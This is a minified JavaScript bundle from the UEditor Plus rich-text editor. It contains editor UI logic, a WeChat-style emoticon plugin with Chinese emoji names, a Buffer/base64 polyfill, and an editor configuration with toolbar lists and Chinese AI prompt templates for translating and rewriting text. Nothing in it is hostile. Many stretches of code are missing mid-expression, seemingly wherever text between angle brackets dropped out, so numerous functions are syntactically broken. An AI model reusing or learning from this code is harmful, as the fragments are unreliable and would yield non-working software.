        "}else t.style.display="none"},disableElementPath:function(){var e=this.getDom("elementpath");e.innerHTML="",e.style.display="none",this.elementPathEnabled=!1},enableElementPath:function(){this.getDom("elementpath").style.display="",this.elementPathEnabled=!0,this._updateElementPath()},_scale:function(){var t=document,e=this.editor,n=e.container,i=e.document,o=this.getDom("toolbarbox"),r=this.getDom("bottombar"),a=this.getDom("scale"),s=this.getDom("scalelayer"),l=!1,d=null,c=0,u=e.options.minFrameWidth,m=0,f=0,h=0,p=0;function g(){d=C.getXY(n),c=c||e.options.minFrameHeight+o.offsetHeight+r.offsetHeight,s.style.cssText="position:absolute;left:0;display:;top:0;background-color:#41ABFF;opacity:0.4;filter: Alpha(opacity=40);width:"+n.offsetWidth+"px;height:"+n.offsetHeight+"px;z-index:"+(e.options.zIndex+1),C.on(t,"mousemove",v),C.on(i,"mouseup",y),C.on(t,"mouseup",y)}var b=this;function v(e){w();e=e||window.event;m=e.pageX||t.documentElement.scrollLeft+e.clientX,f=e.pageY||t.documentElement.scrollTop+e.clientY,h=m-d.x,p=f-d.y,u<=h&&(l=!0,s.style.width=h+"px"),c<=p&&(l=!0,s.style.height=p+"px")}function y(){l&&(l=!1,e.ui._actualFrameWidth=s.offsetWidth-2,n.style.width=e.ui._actualFrameWidth+"px",e.setHeight(s.offsetHeight-r.offsetHeight-o.offsetHeight-2,!0)),s&&(s.style.display="none"),w(),C.un(t,"mousemove",v),C.un(i,"mouseup",y),C.un(t,"mouseup",y)}function w(){browser.ie?t.selection.clear():window.getSelection().removeAllRanges()}this.editor.addListener("fullscreenchanged",function(e,t){t?b.disableScale():b.editor.options.scaleEnabled&&(b.enableScale(),t=b.editor.document.createElement("span"),b.editor.body.appendChild(t),b.editor.body.style.height=Math.max(C.getXY(t).y,b.editor.iframe.offsetHeight-20)+"px",C.remove(t))}),this.enableScale=function(){1!=e.queryCommandState("source")&&(a.style.display="",this.scaleEnabled=!0,C.on(a,"mousedown",g))},this.disableScale=function(){a.style.display="none",this.scaleEnabled=!1,C.un(a,"mousedown",g)}},isFullScreen:function(){return this._fullscreen},postRender:function(){r.prototype.postRender.call(this);for(var e=0;e[\n\r\t]+([ ]{4})+/g,">").replace(/[\n\r\t]+([ ]{4})+[\n\r\t]+<"),a.className&&(t.className=a.className),a.style.cssText&&(t.style.cssText=a.style.cssText),/textarea/i.test(a.tagName)?(s.textarea=a,s.textarea.style.display="none"):a.parentNode.removeChild(a),a.id&&(t.id=a.id,C.removeAttributes(a,"id")),(a=t).innerHTML=""),C.addClass(a,"edui-"+s.options.theme),s.ui.render(a);var e=s.options;s.container=s.ui.getDom();for(var t,n,i=C.findParents(a,!0),o=[],r=0;n=i[r];r++)o[r]=n.style.display,n.style.display="block";for(e.initialFrameWidth?e.minFrameWidth=e.initialFrameWidth:(e.minFrameWidth=e.initialFrameWidth=a.offsetWidth,t=a.style.width,/%$/.test(t)&&(e.initialFrameWidth=t)),e.initialFrameHeight?e.minFrameHeight=e.initialFrameHeight:e.initialFrameHeight=e.minFrameHeight=a.offsetHeight,r=0;n=i[r];r++)n.style.display=o[r];a.style.height&&(a.style.height=""),s.container.style.width=e.initialFrameWidth+(/%$/.test(e.initialFrameWidth)?"":"px"),s.container.style.zIndex=e.zIndex,l.call(s,s.ui.getDom("iframeholder")),s.fireEvent("afteruiready")}s.langIsReady?e():s.addListener("langReady",e)})},s},UE.getEditor=function(e,t){var n=i[e];return n||(n=i[e]=new UE.ui.Editor(t)).render(e),n},UE.delEditor=function(e){var t;(t=i[e])&&(t.key&&t.destroy(),delete i[e])},UE.registerUI=function(e,t,n,i){f.each(e.split(/\s+/),function(e){baidu.editor.ui[e]={id:i,execFn:t,index:n}})}}(),UE.registerUI("message",function(e){var o,r=baidu.editor.ui.Message,a=[],s=e;function l(){var e;o&&s.ui&&((e=s.ui.getDom("toolbarbox"))&&(o.style.top=e.offsetHeight+3+"px"),o.style.zIndex=Math.max(s.options.zIndex,s.iframe.style.zIndex)+1)}s.setOpt("enableMessageShow",!0),!1!==s.getOpt("enableMessageShow")&&(s.addListener("ready",function(){o=document.getElementById(s.ui.id+"_message_holder"),l(),setTimeout(function(){l()},500)}),s.addListener("showmessage",function(e,t){t=utils.isString(t)?{content:t}:t;var n=new r({timeout:t.timeout,type:t.type,content:t.content,keepshow:t.keepshow,editor:s}),i=t.id||"msg_"+(+new Date).toString(36);return n.render(o),(a[i]=n).reset(t),l(),i}),s.addListener("updatemessage",function(e,t,n){n=utils.isString(n)?{content:n}:n;t=a[t];t.render(o),t&&t.reset(n)}),s.addListener("hidemessage",function(e,t){t=a[t];t&&t.hide()}))})}()}.call(this,__webpack_require__(7),__webpack_require__(4).Buffer)},375:function(e,t,n){!function(r){var a=n(376);n(377),UE.registerUI("wechatcustomemotion",function(n,e){var i=window.__msCDN+"asset/image/emotion/",o=null;return new UE.ui.Button({name:e,title:"插入表情",cssRules:"background-position: -500px 0;",onclick:function(){if(o)return!1;var e=r('
        ');e.attr("id","editor-wechatcustomemotion");for(var t=0;t');o=window.MS.dialog.dialogContent(e.prop("outerHTML"),{shadeClose:!1,openCallback:function(){r("#editor-wechatcustomemotion").on("click","a.item",function(){var e=r(this).attr("data-key"),t=r(this).attr("data-val");n.execCommand("insertHtml",''),window.MS.dialog.dialogClose(o),o=null})}})}})})}.call(this,n(8))},376:function(e,t){const i={records:[{key:"[微笑]",val:"01"},{key:"[撇嘴]",val:"02"},{key:"[色]",val:"03"},{key:"[发呆]",val:"04"},{key:"[得意]",val:"05"},{key:"[流泪]",val:"06"},{key:"[害羞]",val:"07"},{key:"[闭嘴]",val:"08"},{key:"[睡]",val:"09"},{key:"[大哭]",val:"10"},{key:"[尴尬]",val:"11"},{key:"[发怒]",val:"12"},{key:"[调皮]",val:"13"},{key:"[呲牙]",val:"14"},{key:"[惊讶]",val:"15"},{key:"[难过]",val:"16"},{key:"[酷]",val:"17"},{key:"[冷汗]",val:"18"},{key:"[抓狂]",val:"19"},{key:"[吐]",val:"20"},{key:"[偷笑]",val:"21"},{key:"[愉快]",val:"22"},{key:"[白眼]",val:"23"},{key:"[傲慢]",val:"24"},{key:"[饥饿]",val:"25"},{key:"[困]",val:"26"},{key:"[惊恐]",val:"27"},{key:"[流汗]",val:"28"},{key:"[憨笑]",val:"29"},{key:"[悠闲]",val:"30"},{key:"[奋斗]",val:"31"},{key:"[咒骂]",val:"32"},{key:"[疑问]",val:"33"},{key:"[嘘]",val:"34"},{key:"[晕]",val:"35"},{key:"[疯了]",val:"36"},{key:"[衰]",val:"37"},{key:"[骷髅]",val:"38"},{key:"[敲打]",val:"39"},{key:"[再见]",val:"40"},{key:"[擦汗]",val:"41"},{key:"[抠鼻]",val:"42"},{key:"[鼓掌]",val:"43"},{key:"[糗大了]",val:"44"},{key:"[坏笑]",val:"45"},{key:"[左哼哼]",val:"46"},{key:"[右哼哼]",val:"47"},{key:"[哈欠]",val:"48"},{key:"[鄙视]",val:"49"},{key:"[委屈]",val:"50"},{key:"[快哭了]",val:"51"},{key:"[阴险]",val:"52"},{key:"[亲亲]",val:"53"},{key:"[吓]",val:"54"},{key:"[可怜]",val:"55"},{key:"[菜刀]",val:"56"},{key:"[西瓜]",val:"57"},{key:"[啤酒]",val:"58"},{key:"[篮球]",val:"59"},{key:"[乒乓]",val:"60"},{key:"[咖啡]",val:"61"},{key:"[饭]",val:"62"},{key:"[猪头]",val:"63"},{key:"[玫瑰]",val:"64"},{key:"[凋谢]",val:"65"},{key:"[嘴唇]",val:"66"},{key:"[爱心]",val:"67"},{key:"[心碎]",val:"68"},{key:"[蛋糕]",val:"69"},{key:"[闪电]",val:"70"},{key:"[炸弹]",val:"71"},{key:"[刀]",val:"72"},{key:"[足球]",val:"73"},{key:"[瓢虫]",val:"74"},{key:"[便便]",val:"75"},{key:"[月亮]",val:"76"},{key:"[太阳]",val:"77"},{key:"[礼物]",val:"78"},{key:"[拥抱]",val:"79"},{key:"[强]",val:"80"},{key:"[弱]",val:"81"},{key:"[握手]",val:"82"},{key:"[胜利]",val:"83"},{key:"[抱拳]",val:"84"},{key:"[勾引]",val:"85"},{key:"[拳头]",val:"86"},{key:"[差劲]",val:"87"},{key:"[爱你]",val:"88"},{key:"[NO]",val:"89"},{key:"[OK]",val:"90"},{key:"[爱情]",val:"91"},{key:"[飞吻]",val:"92"},{key:"[跳跳]",val:"93"},{key:"[发抖]",val:"94"},{key:"[怄火]",val:"95"},{key:"[转圈]",val:"96"},{key:"[磕头]",val:"97"},{key:"[回头]",val:"98"},{key:"[跳绳]",val:"99"},{key:"[投降]",val:"100"},{key:"[激动]",val:"101"},{key:"[乱舞]",val:"102"},{key:"[献吻]",val:"103"},{key:"[左太极]",val:"104"},{key:"[右太极]",val:"105"}],replaceText:function(e){for(var t=0;t';e=e.replaceAll(i.records[t].key,n)}return e}};e.exports=i},377:function(e,t,n){"use strict";n.r(t);var i=n(12),i=n.n(i),n=n(302);i()(n.a,{insert:"head",singleton:!1}),t.default=n.a.locals||{}},4:function(e,B,_){"use strict";!function(e){var s=_(75),r=_(76),a=_(47);function n(){return u.TYPED_ARRAY_SUPPORT?2147483647:1073741823}function o(e,t){if(n()=n())throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+n().toString(16)+" bytes");return 0|e}function f(e,t){if(u.isBuffer(e))return e.length;if("undefined"!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(e)||e instanceof ArrayBuffer))return e.byteLength;var n=(e="string"!=typeof e?""+e:e).length;if(0===n)return 0;for(var i=!1;;)switch(t){case"ascii":case"latin1":case"binary":return n;case"utf8":case"utf-8":case void 0:return T(e).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*n;case"hex":return n>>>1;case"base64":return k(e).length;default:if(i)return T(e).length;t=(""+t).toLowerCase(),i=!0}}function t(e,t,n){var i,o,r,a=!1;if((t=void 0===t||t<0?0:t)>this.length)return"";if((n=void 0===n||n>this.length?this.length:n)<=0)return"";if((n>>>=0)<=(t>>>=0))return"";for(e=e||"utf8";;)switch(e){case"hex":return function(e,t,n){var i=e.length;(!n||n<0||i=e.length){if(o)return-1;n=e.length-1}else if(n<0){if(!o)return-1;n=0}if("string"==typeof t&&(t=u.from(t,i)),u.isBuffer(t))return 0===t.length?-1:g(e,t,n,i,o);if("number"==typeof t)return t&=255,u.TYPED_ARRAY_SUPPORT&&"function"==typeof Uint8Array.prototype.indexOf?(o?Uint8Array.prototype.indexOf:Uint8Array.prototype.lastIndexOf).call(e,t,n):g(e,[t],n,i,o);throw new TypeError("val must be string, number or Buffer")}function g(e,t,n,i,o){var r=1,a=e.length,s=t.length;if(void 0!==i&&("ucs2"===(i=String(i).toLowerCase())||"ucs-2"===i||"utf16le"===i||"utf-16le"===i)){if(e.length<2||t.length<2)return-1;a/=r=2,s/=2,n/=2}function l(e,t){return 1===r?e[t]:e.readUInt16BE(t*r)}if(o)for(var d=-1,c=n;c>>10&1023|55296),c=56320|1023&c),i.push(c),o+=u}return function(e){var t=e.length;if(t<=4096)return String.fromCharCode.apply(String,e);for(var n="",i=0;ie.length)throw new RangeError("Index out of range")}function C(e,t,n,i){t<0&&(t=65535+t+1);for(var o=0,r=Math.min(e.length-n,2);o>>8*(i?o:1-o)}function x(e,t,n,i){t<0&&(t=4294967295+t+1);for(var o=0,r=Math.min(e.length-n,4);o>>8*(i?o:3-o)&255}function N(e,t,n,i){if(n+i>e.length)throw new RangeError("Index out of range");if(n<0)throw new RangeError("Index out of range")}function E(e,t,n,i,o){return o||N(e,0,n,4),r.write(e,t,n,i,23,4),n+4}function U(e,t,n,i,o){return o||N(e,0,n,8),r.write(e,t,n,i,52,8),n+8}B.Buffer=u,B.SlowBuffer=function(e){return u.alloc(+(e=+e!=e?0:e))},B.INSPECT_MAX_BYTES=50,u.TYPED_ARRAY_SUPPORT=void 0!==e.TYPED_ARRAY_SUPPORT?e.TYPED_ARRAY_SUPPORT:function(){try{var e=new Uint8Array(1);return e.__proto__={__proto__:Uint8Array.prototype,foo:function(){return 42}},42===e.foo()&&"function"==typeof e.subarray&&0===e.subarray(1,1).byteLength}catch(e){return!1}}(),B.kMaxLength=n(),u.poolSize=8192,u._augment=function(e){return e.__proto__=u.prototype,e},u.from=function(e,t,n){return i(null,e,t,n)},u.TYPED_ARRAY_SUPPORT&&(u.prototype.__proto__=Uint8Array.prototype,u.__proto__=Uint8Array,"undefined"!=typeof Symbol&&Symbol.species&&u[Symbol.species]===u&&Object.defineProperty(u,Symbol.species,{value:null,configurable:!0})),u.alloc=function(e,t,n){return i=null,t=t,n=n,l(e=e),!(e<=0)&&void 0!==t?"string"==typeof n?o(i,e).fill(t,n):o(i,e).fill(t):o(i,e);var i},u.allocUnsafe=function(e){return d(null,e)},u.allocUnsafeSlow=function(e){return d(null,e)},u.isBuffer=function(e){return!(null==e||!e._isBuffer)},u.compare=function(e,t){if(!u.isBuffer(e)||!u.isBuffer(t))throw new TypeError("Arguments must be Buffers");if(e===t)return 0;for(var n=e.length,i=t.length,o=0,r=Math.min(n,i);ot&&(e+=" ... ")),""},u.prototype.compare=function(e,t,n,i,o){if(!u.isBuffer(e))throw new TypeError("Argument must be a Buffer");if(void 0===n&&(n=e?e.length:0),void 0===i&&(i=0),void 0===o&&(o=this.length),(t=void 0===t?0:t)<0||n>e.length||i<0||o>this.length)throw new RangeError("out of range index");if(o<=i&&n<=t)return 0;if(o<=i)return-1;if(n<=t)return 1;if(this===e)return 0;for(var r=(o>>>=0)-(i>>>=0),a=(n>>>=0)-(t>>>=0),s=Math.min(r,a),l=this.slice(i,o),d=e.slice(t,n),c=0;cthis.length)throw new RangeError("Attempt to write outside buffer bounds");i=i||"utf8";for(var r,a,s,l,d,c,u=!1;;)switch(i){case"hex":return function(e,t,n,i){n=Number(n)||0;var o=e.length-n;if((!i||(i=Number(i))>o)&&(i=o),(o=t.length)%2!=0)throw new TypeError("Invalid hex string");o/2>8,o.push(n%256),o.push(i);return o}(e,(s=this).length-r),s,r,a);default:if(u)throw new TypeError("Unknown encoding: "+i);i=(""+i).toLowerCase(),u=!0}},u.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}},u.prototype.slice=function(e,t){var n=this.length;if((e=~~e)<0?(e+=n)<0&&(e=0):n=(o*=128)&&(i-=Math.pow(2,8*t)),i},u.prototype.readIntBE=function(e,t,n){e|=0,t|=0,n||y(e,t,this.length);for(var i=t,o=1,r=this[e+--i];0=(o*=128)&&(r-=Math.pow(2,8*t)),r},u.prototype.readInt8=function(e,t){return t||y(e,1,this.length),128&this[e]?-1*(255-this[e]+1):this[e]},u.prototype.readInt16LE=function(e,t){t||y(e,2,this.length);e=this[e]|this[e+1]<<8;return 32768&e?4294901760|e:e},u.prototype.readInt16BE=function(e,t){t||y(e,2,this.length);e=this[e+1]|this[e]<<8;return 32768&e?4294901760|e:e},u.prototype.readInt32LE=function(e,t){return t||y(e,4,this.length),this[e]|this[e+1]<<8|this[e+2]<<16|this[e+3]<<24},u.prototype.readInt32BE=function(e,t){return t||y(e,4,this.length),this[e]<<24|this[e+1]<<16|this[e+2]<<8|this[e+3]},u.prototype.readFloatLE=function(e,t){return t||y(e,4,this.length),r.read(this,e,!0,23,4)},u.prototype.readFloatBE=function(e,t){return t||y(e,4,this.length),r.read(this,e,!1,23,4)},u.prototype.readDoubleLE=function(e,t){return t||y(e,8,this.length),r.read(this,e,!0,52,8)},u.prototype.readDoubleBE=function(e,t){return t||y(e,8,this.length),r.read(this,e,!1,52,8)},u.prototype.writeUIntLE=function(e,t,n,i){e=+e,t|=0,n|=0,i||w(this,e,t,n,Math.pow(2,8*n)-1,0);var o=1,r=0;for(this[t]=255&e;++r>>8):C(this,e,t,!0),t+2},u.prototype.writeUInt16BE=function(e,t,n){return e=+e,t|=0,n||w(this,e,t,2,65535,0),u.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):C(this,e,t,!1),t+2},u.prototype.writeUInt32LE=function(e,t,n){return e=+e,t|=0,n||w(this,e,t,4,4294967295,0),u.TYPED_ARRAY_SUPPORT?(this[t+3]=e>>>24,this[t+2]=e>>>16,this[t+1]=e>>>8,this[t]=255&e):x(this,e,t,!0),t+4},u.prototype.writeUInt32BE=function(e,t,n){return e=+e,t|=0,n||w(this,e,t,4,4294967295,0),u.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):x(this,e,t,!1),t+4},u.prototype.writeIntLE=function(e,t,n,i){e=+e,t|=0,i||w(this,e,t,n,(i=Math.pow(2,8*n-1))-1,-i);var o=0,r=1,a=0;for(this[t]=255&e;++o>0)-a&255;return t+n},u.prototype.writeIntBE=function(e,t,n,i){e=+e,t|=0,i||w(this,e,t,n,(i=Math.pow(2,8*n-1))-1,-i);var o=n-1,r=1,a=0;for(this[t+o]=255&e;0<=--o&&(r*=256);)e<0&&0===a&&0!==this[t+o+1]&&(a=1),this[t+o]=(e/r>>0)-a&255;return t+n},u.prototype.writeInt8=function(e,t,n){return e=+e,t|=0,n||w(this,e,t,1,127,-128),u.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),this[t]=255&(e=e<0?255+e+1:e),t+1},u.prototype.writeInt16LE=function(e,t,n){return e=+e,t|=0,n||w(this,e,t,2,32767,-32768),u.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):C(this,e,t,!0),t+2},u.prototype.writeInt16BE=function(e,t,n){return e=+e,t|=0,n||w(this,e,t,2,32767,-32768),u.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):C(this,e,t,!1),t+2},u.prototype.writeInt32LE=function(e,t,n){return e=+e,t|=0,n||w(this,e,t,4,2147483647,-2147483648),u.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8,this[t+2]=e>>>16,this[t+3]=e>>>24):x(this,e,t,!0),t+4},u.prototype.writeInt32BE=function(e,t,n){return e=+e,t|=0,n||w(this,e,t,4,2147483647,-2147483648),e<0&&(e=4294967295+e+1),u.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):x(this,e,t,!1),t+4},u.prototype.writeFloatLE=function(e,t,n){return E(this,e,t,!0,n)},u.prototype.writeFloatBE=function(e,t,n){return E(this,e,t,!1,n)},u.prototype.writeDoubleLE=function(e,t,n){return U(this,e,t,!0,n)},u.prototype.writeDoubleBE=function(e,t,n){return U(this,e,t,!1,n)},u.prototype.copy=function(e,t,n,i){if(n=n||0,i||0===i||(i=this.length),t>=e.length&&(t=e.length),(i=0=this.length)throw new RangeError("sourceStart out of bounds");if(i<0)throw new RangeError("sourceEnd out of bounds");i>this.length&&(i=this.length);var o,r=(i=e.length-t>>=0,n=void 0===n?this.length:n>>>0,"number"==typeof(e=e||0))for(s=t;s>6|192,63&n|128)}else if(n<65536){if((t-=3)<0)break;r.push(n>>12|224,n>>6&63|128,63&n|128)}else{if(!(n<1114112))throw new Error("Invalid code point");if((t-=4)<0)break;r.push(n>>18|240,n>>12&63|128,n>>6&63|128,63&n|128)}}return r}function k(e){return s.toByteArray(function(e){if((e=((t=e).trim?t.trim():t.replace(/^\s+|\s+$/g,"")).replace(S,"")).length<2)return"";for(var t;e.length%4!=0;)e+="=";return e}(e))}function A(e,t,n,i){for(var o=0;o=t.length||o>=e.length);++o)t[o+n]=e[o];return o}}.call(this,_(7))},47:function(e,t){var n={}.toString;e.exports=Array.isArray||function(e){return"[object Array]"==n.call(e)}},7:function(e,t){var n=function(){return this}();try{n=n||new Function("return this")()}catch(e){"object"==typeof window&&(n=window)}e.exports=n},75:function(e,t,n){"use strict";t.byteLength=function(e){var t=c(e),e=t[0],t=t[1];return 3*(e+t)/4-t},t.toByteArray=function(e){for(var t,n=c(e),i=n[0],n=n[1],o=new d(3*(i+n)/4-n),r=0,a=0>16&255,o[r++]=t>>8&255,o[r++]=255&t;return 2===n&&(t=l[e.charCodeAt(s)]<<2|l[e.charCodeAt(s+1)]>>4,o[r++]=255&t),1===n&&(t=l[e.charCodeAt(s)]<<10|l[e.charCodeAt(s+1)]<<4|l[e.charCodeAt(s+2)]>>2,o[r++]=t>>8&255,o[r++]=255&t),o},t.fromByteArray=function(e){for(var t,n=e.length,i=n%3,o=[],r=0,a=n-i;r>18&63]+s[i>>12&63]+s[i>>6&63]+s[63&i]);return o.join("")}(e,r,a>2]+s[t<<4&63]+"==")):2==i&&(t=(e[n-2]<<8)+e[n-1],o.push(s[t>>10]+s[t>>4&63]+s[t<<2&63]+"=")),o.join("")};for(var s=[],l=[],d="undefined"!=typeof Uint8Array?Uint8Array:Array,i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/",o=0,r=i.length;o>1,c=-7,u=n?o-1:0,m=n?-1:1,n=e[t+u];for(u+=m,r=n&(1<<-c)-1,n>>=-c,c+=s;0>=-c,c+=i;0>1,u=23===o?Math.pow(2,-24)-Math.pow(2,-77):0,m=i?0:r-1,f=i?1:-1,r=t<0||0===t&&1/t<0?1:0;for(t=Math.abs(t),isNaN(t)||t===1/0?(s=isNaN(t)?1:0,a=d):(a=Math.floor(Math.log(t)/Math.LN2),t*(i=Math.pow(2,-a))<1&&(a--,i*=2),2<=(t+=1<=a+c?u/i:u*Math.pow(2,1-c))*i&&(a++,i/=2),d<=a+c?(s=0,a=d):1<=a+c?(s=(t*i-1)*Math.pow(2,o),a+=c):(s=t*Math.pow(2,c-1)*Math.pow(2,o),a=0));8<=o;e[n+m]=255&s,m+=f,s/=256,o-=8);for(a=a<'

        ').join("\n"))}}).show():alert("Missing Config : window.__selectorDialogServer"),!0;case"attachment":return window.__selectorDialogServer?window.__selectorDialog=new window.api.selectorDialog({server:window.__selectorDialogServer+"/file",callback:function(e){t.execCommand("insertFile",e.map(e=>({url:e.path,title:e.filename})))}}).show():alert("Missing Config : window.__selectorDialogServer"),!0}},imageConfig:{disableUpload:!0,disableOnline:!0,selectCallback:function(e,t){window.__selectorDialog=new window.api.selectorDialog({server:window.__selectorDialogServer+"/image",callback:function(e){e.length&&t({path:e[0].path,name:e[0].filename})}}).show()}},videoConfig:{disableUpload:!0,selectCallback:function(e,t){window.__selectorDialog=new window.api.selectorDialog({server:window.__selectorDialogServer+"/video",callback:function(e){e.length&&t({path:e[0].path,name:e[0].filename})}}).show()}},audioConfig:{disableUpload:!0,selectCallback:function(e,t){window.__selectorDialog=new window.api.selectorDialog({server:window.__selectorDialogServer+"/audio",callback:function(e){e.length&&t({path:e[0].path,name:e[0].filename})}}).show()}}};function a(){var e={formulaConfig:{imageUrlTemplate:"https://latex.codecogs.com/svg.image?{}"}};return window.__editorFormulaConfig&&window.__editorFormulaConfig.imageUrlTemplate&&(e.formulaConfig.imageUrlTemplate=window.__editorFormulaConfig.imageUrlTemplate),e}var e={basic:function(e,t,n){var i=o.extend({server:"",width:null,height:100,ready:function(){}},t),t=["fullscreen","source","autotypeset","selectall","undo","redo","removeformat","paragraph","fontsize","forecolor","backcolor","|","insertimage","uploadimage","insertvideo","insertaudio","attachment","bold","italic","underline","strikethrough","superscript","subscript","blockquote","insertorderedlist","insertunorderedlist","rowspacingtop","rowspacingbottom","lineheight","indent","justifyleft","justifycenter","justifyright","justifyjustify","|","link","unlink","insertcode","formula","attachment","imagenone","imageleft","imageright","imagecenter","|","inserttable","deletetable","insertparagraphbeforetable","insertrow","deleterow","insertcol","deletecol","mergecells","mergeright","mergedown","splittocells","splittorows","splittocols","|","contentimport","ai"];window.__editorBasicToolBars&&(t=window.__editorBasicToolBars),window.__editorBasicToolBarsExtra&&(t=t.concat(window.__editorBasicToolBarsExtra));n=o.extend({toolbars:[t],serverUrl:i.server,wordCount:!1,elementPathEnabled:!1,initialFrameHeight:i.height,initialFrameWidth:i.width,enableAutoSave:!1,pasteplain:!1,autoHeightEnabled:!0,focus:!1,toolbarShows:{ai:!1},shortcutMenuShows:{ai:!1}},r,n,a()),n=UE.getEditor(e,n);return n.ready(function(){i.ready()}),n},simple:function(e,t,n){var i=o.extend({server:"",width:null,height:100,ready:function(){}},t),t=["fontsize","forecolor","insertimage","uploadimage","bold","italic","underline","strikethrough","insertcode"];window.__editorSimpleToolBars&&(t=window.__editorSimpleToolBars),window.__editorSimpleToolBarsExtra&&(t=t.concat(window.__editorSimpleToolBarsExtra));n=o.extend({toolbars:[t],serverUrl:i.server,wordCount:!1,elementPathEnabled:!1,initialFrameHeight:i.height,initialFrameWidth:i.width,enableAutoSave:!1,pasteplain:!1,retainOnlyLabelPasted:!0,autoHeightEnabled:!0,focus:!1,toolbarShows:{ai:!1},shortcutMenuShows:{ai:!1}},r,n,a()),n=UE.getEditor(e,n);return n.ready(function(){i.ready()}),n},raw:UE};"api"in window||(window.api={}),window.api.editor=e,"MS"in window||(window.MS={}),window.MS.editor=e,window.MS.editorUploadConfig=r}.call(this,n(8))},373:function(e,t){function n(e,t){return e=e||self.document.URL||self.location.href,t=t||(n=document.getElementsByTagName("script"))[n.length-1].src,/^(\/|\\\\)/.test(n=t)?n=/^.+?\w(\/|\\\\)/.exec(e)[0]+t.replace(/^(\/|\\\\)/,""):/^[a-z]+:/i.test(t)||(n=(e=e.split("#")[0].split("?")[0].replace(/[^\\\/]+$/,""))+""+t),function(e){var t,n=/^[a-z]+:\/\//.exec(e)[0],i=[];for((e=(e=e.replace(n,"").split("?")[0].split("#")[0]).replace(/\\/g,"/").split(/\//))[e.length-1]="";e.length;)".."===(t=e.shift())?i.pop():"."!==t&&i.push(t);return n+i.join("/")}(n);var n}var i,o;i=window.UEDITOR_HOME_URL||(window.__msCDN?window.__msCDN+"asset/vendor/ueditor/":window.__msRoot?window.__msRoot+"asset/vendor/ueditor/":n()),o=window.UEDITOR_CORS_URL||(window.__msRoot?window.__msRoot+"asset/vendor/ueditor/":window.UEDITOR_HOME_URL||n()),window.UEDITOR_CONFIG={UEDITOR_HOME_URL:i,UEDITOR_CORS_URL:o,debug:!1,serverUrl:"/ueditor-plus/_demo_server/handle.php",loadConfigFromServer:!0,serverHeaders:{},serverResponsePrepare:function(e){return e},toolbars:[["fullscreen","source","|","undo","redo","|","bold","italic","underline","fontborder","strikethrough","superscript","subscript","removeformat","formatmatch","autotypeset","blockquote","pasteplain","|","forecolor","backcolor","insertorderedlist","insertunorderedlist","selectall","cleardoc","|","rowspacingtop","rowspacingbottom","lineheight","|","customstyle","paragraph","fontfamily","fontsize","|","directionalityltr","directionalityrtl","indent","|","justifyleft","justifycenter","justifyright","justifyjustify","|","touppercase","tolowercase","|","link","unlink","anchor","|","imagenone","imageleft","imagecenter","imageright","|","simpleupload","insertimage","emotion","scrawl","insertvideo","insertaudio","attachment","insertframe","insertcode","pagebreak","template","background","formula","|","horizontal","date","time","spechars","wordimage","|","inserttable","deletetable","insertparagraphbeforetable","insertrow","deleterow","insertcol","deletecol","mergecells","mergeright","mergedown","splittocells","splittorows","splittocols","|","print","preview","searchreplace","|","contentimport","ai","help"]],toolbarShows:{},toolbarCallback:function(e,t){},uploadServiceEnable:!1,uploadServiceUpload:function(e,t,n,i){console.log("uploadServiceUpload",e,t,n,i)},imageConfig:{disableUpload:!1,disableOnline:!1,selectCallback:null},videoConfig:{disableUpload:!1,selectCallback:null},audioConfig:{disableUpload:!1,selectCallback:null},formulaConfig:{imageUrlTemplate:"https://r.latexeasy.com/image.svg?{}",editorMode:"live",editorLiveServer:"https://latexeasy.com"},autoSaveEnable:!0,autoSaveRestore:!1,autoSaveKey:null,initialContent:"",focus:!1,initialStyle:"",indentValue:"2em",readonly:!1,autoClearEmptyNode:!0,fullscreen:!1,allHtmlEnabled:!1,enableContextMenu:!0,shortcutMenu:["ai","bold","italic","underline","strikethrough","fontborder","forecolor","backcolor","imagenone","imageleft","imagecenter","imageright","insertimage","formula"],shortcutMenuShows:{},elementPathEnabled:!0,wordCount:!0,maximumWords:1e4,maxUndoCount:20,maxInputCount:1,autoHeightEnabled:!0,minFrameHeight:220,autoFloatEnabled:!0,topOffset:0,toolbarTopOffset:0,catchRemoteImageEnable:!0,autotypeset:{mergeEmptyline:!0,removeClass:!0,removeEmptyline:!1,textAlign:"left",imageBlockLine:"center",pasteFilter:!1,clearFontSize:!1,clearFontFamily:!1,removeEmptyNode:!1,removeTagNames:{div:1},indent:!1,indentValue:"2em",bdc2sb:!1,tobdc:!1},ai:{driver:"OpenAi",driverConfig:{url:"",key:"",model:""}},aiFunctions:[{text:' 翻译',prompt:"{selectText}\n\n请帮我翻译一下这段内容,并直接返回优化后的结果。\n注意:你应该先判断一下这句话是中文还是英文,如果是中文,请给我返回英文,如果是英文,请给我返回中文内容,只需要返回内容即可,不需要告知我是中文还是英文。",enable:function(e){return!!e.selectText}},{text:' 续写',prompt:"{selectText}\n\n请帮我续写一下这段内容,并直接返回续写后的结果。",enable:function(e){return!!e.selectText}},{text:' 简化内容',prompt:"{selectText}\n\n请帮我简化一下这段内容,并直接返回简化后的结果。",enable:function(e){return!!e.selectText}},{text:' 丰富内容',prompt:"{selectText}\n\n请帮我丰富一下这段内容,并直接返回丰富后的结果。",enable:function(e){return!!e.selectText}}],allowDivTransToP:!0,rgb2Hex:!0,tipError:function(e,t){window&&window.MS&&window.MS.dialog?window.MS.dialog.tipError(e):alert(e)}},window.UE={getUEBasePath:n}},374:function(module,exports,__webpack_require__){!function(global,Buffer){!function(){UEDITOR_CONFIG=window.UEDITOR_CONFIG||{};var 